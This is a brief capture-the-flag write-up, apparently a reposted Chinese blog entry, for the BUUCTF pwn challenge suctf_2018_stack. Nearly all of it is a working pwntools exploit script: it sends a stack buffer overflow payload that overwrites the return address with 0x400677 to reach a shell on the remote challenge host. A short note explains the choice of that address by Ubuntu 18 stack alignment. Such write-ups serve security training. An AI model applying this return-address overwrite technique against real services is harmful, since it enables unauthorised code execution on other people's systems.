BUUCTF(PWN)suctf_2018_stack
作者:互联网
from pwn import *
p = remote('node3.buuoj.cn',29039)
ret_addr = 0x0400677
payload = 'a' * (0x20 + 8) + p64(ret_addr)
p.send(payload)
p.interactive()
不是676的原因是 这道题检查的其实是栈平衡的问题,因为是Ubuntu18,需要栈对齐
标签:suctf,BUUCTF,addr,ret,buuoj,Ubuntu18,PWN,payload,cn 来源: https://blog.csdn.net/weixin_45556441/article/details/115422955